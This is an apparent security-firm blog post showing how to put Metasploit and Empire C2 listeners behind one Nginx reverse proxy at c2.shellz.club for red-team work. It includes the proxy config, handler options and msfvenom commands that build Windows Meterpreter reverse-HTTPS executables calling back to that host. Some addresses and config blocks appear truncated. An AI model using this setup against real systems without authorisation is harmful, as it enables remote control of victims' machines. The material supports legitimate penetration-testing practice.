• Your shield in Cyber Security

Configuring Metasploit and Empire to Catch Shells behind an Nginx Reverse Proxy

Updated: Sep 2, 2020

During red team engagements, we’ve found ourselves in the situation of wanting to use multiple remote access tools (Metasploit, Empire, Cobalt Strike, etc), all over port 443 for HTTPS communications. This is common when the only egress method from a network is HTTPS. This could be achieved with multiple hosts, each receiving a different type of shell; but what if you want or need to do this through a single domain or single host? This can be solved by using a reverse proxy to terminate the SSL connections and then proxy requests to each of the required tools based on a URI path. We’ve used Nginx for this purpose. The Nginx configuration below uses the location directive to pass all requests starting with /update to Metasploit (which will be listening on, and the default Empire URIs to The connections are SSL-terminated by Nginx; and this is important to take into account when configuring the Metasploit and Empire handlers.


server {
 listen 80 default_server;
 listen [::]:80 default_server;
 listen 443 ssl default_server;
 listen [::]:443 ssl ipv6only=on default_server;
 root /var/www/html;
 index index.html;
 server_name c2.shellz.club;
 location / {
 # First attempt to serve request as file, then
 # as directory, then fall back to displaying a 404.
 try_files $uri $uri/ =404;
 # Managed by Certbot
 ssl_certificate /etc/letsencrypt/live/c2.shellz.club/fullchain.pem; 
 ssl_certificate_key /etc/letsencrypt/live/c2.shellz.club/privkey.pem; 
 include /etc/letsencrypt/options-ssl-nginx.conf;
 ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
 # Metasploit
 location ~ ^/update(.*) {
 # Empire
 location ~ ^/(admin/get.php|news.php|login/process.php|download/more.php) {

Metasploit Handler Setup I’ll demonstrate how to configure a Metasploit handler that accepts reverse HTTPS Meterpreter connections (staged or stageless) from any architecture or operating system. The multi/meterpreter/reverse_http module handles detection of architecture and OS making our lives easier. When an initial connection is made to the handler (for staged payloads) the LHOST and LPORT parameters are used to tell the second stage where to connect. This means they should be the Nginx proxy and not the Metasploit listener. The requests will be connecting with an URI of /update and this needs to be reflected within the LURI parameter.

Our Metasploit handler needs to listen on as seen in the above Nginx configuration. We do this using the advanced configuration options (nshow advanced) ReverseListenerBindAddress and ReverseListenerBindPort. We have used a multi/meterpreter/reverse_http handler (not HTTPS) because Nginx handles SSL terminates for us. We need to tell Metasploit to use HTTPS connection when connecting to Nginx. This is done be configuring the OverrideScheme parameter to HTTPS. Lastly, the OverrideRequestHost parameter must be true because otherwise “Metasploit uses the incoming request’s Host header value (if present) for the second stage configuration instead of the LHOST parameter.” (Thanks to @TheColonial for the tip on that).

Metasploit Payload Generation Now we can generate Meterpreter HTTPS payloads (staged or stageless) for any OS or architecture. The payloads can be hosed on the same server over HTTPS using Nginx. The payloads require the LHOST and LPORT of the Nginx server, and LURI used to route the requests to Metasploit. The setup is flexible enough to catch other shells such as an Empire agent:

# Windows 64bit Stageless
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=c2.shellz.club LPORT=443 LURI=update -f exe > /var/www/html/meterp.exe
# Windows 32bit Staged
msfvenom -p windows/meterpreter/reverse_https LHOST=c2.shellz.club LPORT=443 LURI=update -f exe > /var/www/html/meterp_staged.exe

Empire Setup The Empire setup uses the http listener (uselistener http command). The Host parameter for staging should be the Nginx address (in this example, https://c2.shellz.club:443). The Empire listening address can then be configured using the BindIP and Port parameters which should match the IP address ( and port (1080) in the Nginx configuration file. No further configuration is required.


Stay Up to Date

Latest News